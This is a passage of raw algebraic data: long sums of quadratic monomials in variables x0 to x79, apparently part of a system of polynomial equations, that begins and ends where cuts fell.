x9*x29 + x9*x30 + x9*x34 + x9*x37 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x55 + x9*x58 + x9*x59 + x9*x61 + x9*x64 + x9*x65 + x9*x68 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x21 + x10*x25 + x10*x29 + x10*x35 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x42 + x10*x43 + x10*x45 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x53 + x10*x55 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x66 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x72 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x13 + x11*x14 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x19 + x11*x21 + x11*x23 + x11*x24 + x11*x26 + x11*x27 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x42 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x55 + x11*x57 + x11*x59 + x11*x60 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x70 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x42 + x12*x46 + x12*x48 + x12*x52 + x12*x55 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x73 + x12*x77 + x12*x78 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x28 + x13*x31 + x13*x37 + x13*x38 + x13*x39 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x46 + x13*x47 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x67 + x13*x71 + x13*x72 + x13*x75 + x13*x78 + x13*x79 + x14*x16 + x14*x21 + x14*x24 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x32 + x14*x34 + x14*x35 + x14*x40 + x14*x42 + x14*x43 + x14*x45 + x14*x48 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x58 + x14*x59 + x14*x61 + x14*x64 + x14*x65 + x14*x68 + x14*x71 + x14*x73 + x14*x74 + x14*x78 + x14*x79 + x15*x17 + x15*x20 + x15*x21 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x31 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x40 + x15*x41 + x15*x46 + x15*x47 + x15*x48 + x15*x50 + x15*x52 + x15*x55 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x21 + x16*x22 + x16*x23 + x16*x24 + x16*x26 + x16*x29 + x16*x30 + x16*x32 + x16*x33 + x16*x34 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x50 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x61 + x16*x64 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x24 + x17*x26 + x17*x29 + x17*x30 + x17*x32 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x43 + x17*x44 + x17*x45 + x17*x47 + x17*x48 + x17*x49 + x17*x51 + x17*x52 + x17*x54 + x17*x55 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17 + x18*x21 + x18*x24 + x18*x26 + x18*x29 + x18*x30 + x18*x36 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x54 + x18*x56 + x18*x57 + x18*x61 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x73 + x18*x76 + x18*x78 + x18 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x35 + x19*x36 + x19*x38 + x19*x41 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x60 + x19*x61 + x19*x63 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x72 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x36 + x20*x38 + x20*x40 + x20*x41 + x20*x46 + x20*x47 + x20*x48 + x20*x51 + x20*x54 + x20*x55 + x20*x57 + x20*x61 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x73 + x20*x75 + x20*x76 + x20*x79 + x20 + x21*x26 + x21*x29 + x21*x36 + x21*x37 + x21*x39 + x21*x40 + x21*x42 + x21*x44 + x21*x46 + x21*x49 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x61 + x21*x62 + x21*x66 + x21*x67 + x21*x68 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x77 + x21*x78 + x21 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x29 + x22*x31 + x22*x33 + x22*x36 + x22*x39 + x22*x41 + x22*x42 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x63 + x22*x65 + x22*x73 + x22*x75 + x22*x77 + x22*x78 + x23*x25 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x33 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x42 + x23*x44 + x23*x46 + x23*x47 + x23*x50 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x70 + x23*x71 + x23*x73 + x23*x75 + x23 + x24*x27 + x24*x32 + x24*x34 + x24*x38 + x24*x41 + x24*x42 + x24*x45 + x24*x46 + x24*x47 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x59 + x24*x60 + x24*x61 + x24*x67 + x24*x69 + x24*x73 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x26 + x25*x28 + x25*x29 + x25*x31 + x25*x36 + x25*x38 + x25*x41 + x25*x42 + x25*x45 + x25*x46 + x25*x50 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x69 + x25*x70 + x25*x72 + x25*x74 + x25*x77 + x25*x78 + x25*x79 + x26*x28 + x26*x33 + x26*x34 + x26*x35 + x26*x37 + x26*x38 + x26*x40 + x26*x44 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x56 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x78 + x26*x79 + x27*x30 + x27*x31 + x27*x37 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x61 + x27*x63 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x76 + x27*x78 + x27*x79 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x43 + x28*x50 + x28*x51 + x28*x52 + x28*x54 + x28*x57 + x28*x61 + x28*x64 + x28*x65 + x28*x72 + x28*x73 + x28*x75 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x37 + x29*x40 + x29*x41 + x29*x43 + x29*x44 + x29*x45 + x29*x51 + x29*x53 + x29*x56 + x29*x60 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x31 + x30*x33 + x30*x35 + x30*x38 + x30*x39 + x30*x40 + x30*x42 + x30*x45 + x30*x47 + x30*x49 + x30*x50 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x66 + x30*x68 + x30*x71 + x30*x73 + x30*x75 + x30*x76 + x30*x77 + x31*x34 + x31*x35 + x31*x38 + x31*x39 + x31*x40 + x31*x43 + x31*x45 + x31*x49 + x31*x50 + x31*x51 + x31*x54 + x31*x56 + x31*x61 + x31*x62 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x32*x34 + x32*x36 + x32*x38 + x32*x39 + x32*x41 + x32*x43 + x32*x44 + x32*x48 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x58 + x32*x59 + x32*x61 + x32*x64 + x32*x65 + x32*x70 + x32*x71 + x32*x73 + x32*x74 + x32*x75 + x32*x77 + x32 + x33*x35 + x33*x36 + x33*x38 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x51 + x33*x58 + x33*x60 + x33*x63 + x33*x64 + x33*x66 + x33*x67 + x33*x68 + x33*x75 + x33*x77 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x51 + x34*x53 + x34*x55 + x34*x58 + x34*x60 + x34*x63 + x34*x64 + x34*x65 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x76 + x34*x78 + x34*x79 + x34 + x35*x39 + x35*x40 + x35*x43 + x35*x46 + x35*x47 + x35*x49 + x35*x50 + x35*x54 + x35*x55 + x35*x56 + x35*x59 + x35*x62 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x72 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x50 + x36*x53 + x36*x54 + x36*x57 + x36*x58 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x69 + x36*x71 + x36*x76 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x47 + x37*x48 + x37*x50 + x37*x53 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x65 + x37*x71 + x37*x73 + x37*x74 + x37*x75 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x53 + x38*x54 + x38*x56 + x38*x58 + x38*x59 + x38*x61 + x38*x63 + x38*x64 + x38*x69 + x38*x77 + x39*x41 + x39*x43 + x39*x47 + x39*x49 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x56 + x39*x58 + x39*x61 + x39*x62 + x39*x64 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x40*x42 + x40*x45 + x40*x47 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x56 + x40*x57 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x64 + x40*x68 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x75 + x40*x77 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x48 + x41*x49 + x41*x52 + x41*x54 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x75 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x47 + x42*x48 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x63 + x42*x64 + x42*x65 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42 + x43*x45 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x53 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x66 + x43*x67 + x43*x71 + x43*x74 + x43*x76 + x43*x78 + x43 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x59 + x44*x61 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x44 + x45*x47 + x45*x48 + x45*x50 + x45*x51 + x45*x55 + x45*x57 + x45*x59 + x45*x60 + x45*x62 + x45*x65 + x45*x67 + x45*x70 + x45*x72 + x45*x73 + x45*x75 + x45*x76 + x45*x77 + x45*x79 + x45 + x46*x48 + x46*x49 + x46*x50 + x46*x53 + x46*x55 + x46*x58 + x46*x59 + x46*x62 + x46*x63 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x62 + x47*x63 + x47*x65 + x47*x66 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47*x79 + x48*x49 + x48*x51 + x48*x52 + x48*x56 + x48*x62 + x48*x63 + x48*x64 + x48*x65 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x75 + x48*x78 + x49*x51 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x62 + x49*x63 + x49*x64 + x49*x68 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x77 + x49*x78 + x49 + x50*x54 + x50*x55 + x50*x59 + x50*x60 + x50*x64 + x50*x65 + x50*x68 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x74 + x50*x76 + x50*x77 + x50*x78 + x50 + x51*x53 + x51*x55 + x51*x57 + x51*x59 + x51*x60 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x68 + x51*x70 + x51*x72 + x51*x75 + x51*x76 + x51*x78 + x52*x53 + x52*x54 + x52*x55 + x52*x57 + x52*x59 + x52*x60 + x52*x62 + x52*x64 + x52*x66 + x52*x68 + x52*x70 + x52*x72 + x52*x73 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x65 + x53*x68 + x53*x70 + x53*x71 + x53*x73 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x70 + x54*x71 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x77 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x63 + x55*x65 + x55*x68 + x55*x71 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x63 + x57*x64 + x57*x65 + x57*x67 + x57*x73 + x57*x74 + x57*x76 + x57*x79 + x58*x62 + x58*x64 + x58*x65 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x70 + x60*x73 + x60*x77 + x60*x78 + x61*x62 + x61*x64 + x61*x65 + x61*x72 + x61*x73 + x61*x79 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x71 + x62*x72 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x63*x67 + x63*x70 + x63*x74 + x63*x75 + x63*x79 + x63 + x64*x66 + x64*x68 + x64*x69 + x64*x72 + x64*x73 + x64*x74 + x64*x76 + x64*x77 + x64*x78 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x67*x68 + x67*x69 + x67*x70 + x67*x72 + x67*x75 + x67*x77 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x74 + x68*x75 + x68*x78 + x68 + x69*x74 + x69*x75 + x69*x78 + x69*x79 + x70*x71 + x70*x73 + x70*x74 + x70*x78 + x70 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x72*x75 + x72*x76 + x72*x77 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x74*x75 + x74*x78 + x75*x76 + x76*x78 + x76*x79 + x76 + x77*x79 + x77 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x6 + x0*x7 + x0*x12 + x0*x14 + x0*x17 + x0*x18 + x0*x23 + x0*x24 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x33 + x0*x34 + x0*x37 + x0*x39 + x0*x40 + x0*x41 + x0*x45 + x0*x46 + x0*x47 + x0*x50 + x0*x51 + x0*x52 + x0*x55 + x0*x57 + x0*x60 + x0*x66 + x0*x69 + x0*x74 + x0*x79 + x1*x3 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x16 + x1*x19 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x29 + x1*x31 + x1*x32 + x1*x34 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x44 + x1*x47 + x1*x48 + x1*x49 + x1*x55 + x1*x56 + x1*x57 + x1*x64 + x1*x66 + x1*x69 + x1*x70 + x1*x71 + x1*x72 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x77 + x2*x4 + x2*x5 + x2*x8 + x2*x11 + x2*x12 + x2*x13 + x2*x17 + x2*x19 + x2*x22 + x2*x24 + x2*x25 + x2*x29 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x34 + x2*x37 + x2*x38 + x2*x39 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x57 + x2*x58 + x2*x59 + x2*x61 + x2*x65 + x2*x68 + x2*x69 + x2*x71 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x8 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x19 + x3*x20 + x3*x22 + x3*x24 + x3*x26 + x3*x27 + x3*x30 + x3*x32 + x3*x35 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x47 + x3*x48 + x3*x49 + x3*x52 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x62 + x3*x63 + x3*x69 + x3*x71 + x3*x75 + x4*x6 + x4*x9 + x4*x10 + x4*x12 + x4*x21 + x4*x23 + x4*x24 + x4*x26 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x34 + x4*x42 + x4*x44 + x4*x47 + x4*x48 + x4*x49 + x4*x56 + x4*x57 + x4*x58 + x4*x60 + x4*x61 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x69 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4 + x5*x7 + x5*x8 + x5*x10 + x5*x14 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x41 + x5*x44 + x5*x49 + x5*x52 + x5*x58 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x76 + x5*x78 + x5 + x6*x8 + x6*x12 + x6*x13 + x6*x23 + x6*x24 + x6*x26 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x67 + x6*x72 + x6*x73 + x6*x76 + x6*x77 + x6*x78 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x12 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x23 + x7*x25 + x7*x26 + x7*x27 + x7*x29 + x7*x30 + x7*x34 + x7*x36 + x7*x40 + x7*x41 + x7*x44 + x7*x45 + x7*x47 + x7*x49 + x7*x50 + x7*x53 + x7*x57 + x7*x58 + x7*x62 + x7*x65 + x7*x67 + x7*x69 + x7*x71 + x7*x73 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x14 + x8*x15 + x8*x21 + x8*x23 + x8*x27 + x8*x36 + x8*x37 + x8*x40 + x8*x41 + x8*x47 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x55 + x8*x59 + x8*x60 + x8*x61 + x8*x63 + x8*x66 + x8*x69 + x8*x72 + x8*x75 + x8*x76 + x8*x79 + x8 + x9*x10 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x23 + x9*x25 + x9*x27 + x9*x28 + x9*x29 + x9*x31 + x9*x32 + x9*x34 + x9*x35 + x9*x38 + x9*x43 + x9*x45 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x52 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x72 + x9*x73 + x9*x74 + x9*x77 + x9*x78 + x9 + x10*x13 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x24 + x10*x28 + x10*x30 + x10*x36 + x10*x37 + x10*x39 + x10*x42 + x10*x43 + x10*x45 + x10*x46 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x59 + x10*x60 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x74 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x17 + x11*x18 + x11*x26 + x11*x27 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x36 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x56 + x11*x57 + x11*x59 + x11*x60 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x74 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x22 + x12*x29 + x12*x31 + x12*x33 + x12*x34 + x12*x37 + x12*x39 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x48 + x12*x52 + x12*x53 + x12*x55 + x12*x57 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x67 + x12*x68 + x12*x72 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x27 + x13*x29 + x13*x30 + x13*x31 + x13*x32 + x13*x34 + x13*x36 + x13*x38 + x13*x42 + x13*x44 + x13*x45 + x13*x46 + x13*x48 + x13*x49 + x13*x50 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x57 + x13*x61 + x13*x62 + x13*x65 + x13*x66 + x13*x67 + x13*x71 + x13*x72 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x25 + x14*x26 + x14*x28 + x14*x29 + x14*x31 + x14*x37 + x14*x40 + x14*x42 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x55 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x63 + x14*x68 + x14*x69 + x14*x70 + x14*x76 + x14*x79 + x15*x17 + x15*x20 + x15*x22 + x15*x23 + x15*x24 + x15*x26 + x15*x30 + x15*x31 + x15*x33 + x15*x37 + x15*x38 + x15*x39 + x15*x41 + x15*x43 + x15*x44 + x15*x46 + x15*x50 + x15*x52 + x15*x56 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x62 + x15*x66 + x15*x68 + x15*x69 + x15*x72 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x15*x78 + x15 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x30 + x16*x33 + x16*x35 + x16*x42 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x49 + x16*x55 + x16*x56 + x16*x57 + x16*x60 + x16*x65 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x77 + x16*x78 + x16 + x17*x18 + x17*x25 + x17*x26 + x17*x28 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x42 + x17*x43 + x17*x46 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x61 + x17*x65 + x17*x66 + x17*x67 + x17*x71 + x17*x72 + x17*x73 + x17*x75 + x17*x79 + x17 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x45 + x18*x48 + x18*x50 + x18*x52 + x18*x53 + x18*x54 + x18*x58 + x18*x62 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x77 + x18*x78 + x18*x79 + x19*x20 + x19*x22 + x19*x23 + x19*x25 + x19*x28 + x19*x31 + x19*x33 + x19*x40 + x19*x42 + x19*x44 + x19*x46 + x19*x47 + x19*x48 + x19*x55 + x19*x56 + x19*x57 + x19*x60 + x19*x61 + x19*x64 + x19*x66 + x19*x73 + x19*x76 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x32 + x20*x33 + x20*x36 + x20*x42 + x20*x43 + x20*x44 + x20*x46 + x20*x48 + x20*x52 + x20*x54 + x20*x55 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x64 + x20*x66 + x20*x68 + x20*x69 + x20*x70 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x21*x22 + x21*x24 + x21*x25 + x21*x27 + x21*x29 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x42 + x21*x43 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x60 + x21*x61 + x21*x63 + x21*x66 + x21*x68 + x21*x70 + x21*x73 + x21*x75 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x28 + x22*x30 + x22*x34 + x22*x36 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x46 + x22*x47 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x61 + x22*x62 + x22*x64 + x22*x65 + x22*x67 + x22*x68 + x22*x69 + x22*x72 + x22*x74 + x22*x75 + x22*x77 + x23*x24 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x37 + x23*x39 + x23*x40 + x23*x41 + x23*x48 + x23*x49 + x23*x50 + x23*x53 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x69 + x23*x71 + x23*x72 + x23*x74 + x23*x76 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x28 + x24*x30 + x24*x31 + x24*x37 + x24*x40 + x24*x41 + x24*x42 + x24*x43 + x24*x44 + x24*x50 + x24*x51 + x24*x55 + x24*x58 + x24*x59 + x24*x61 + x24*x64 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x24*x79 + x25*x26 + x25*x28 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + 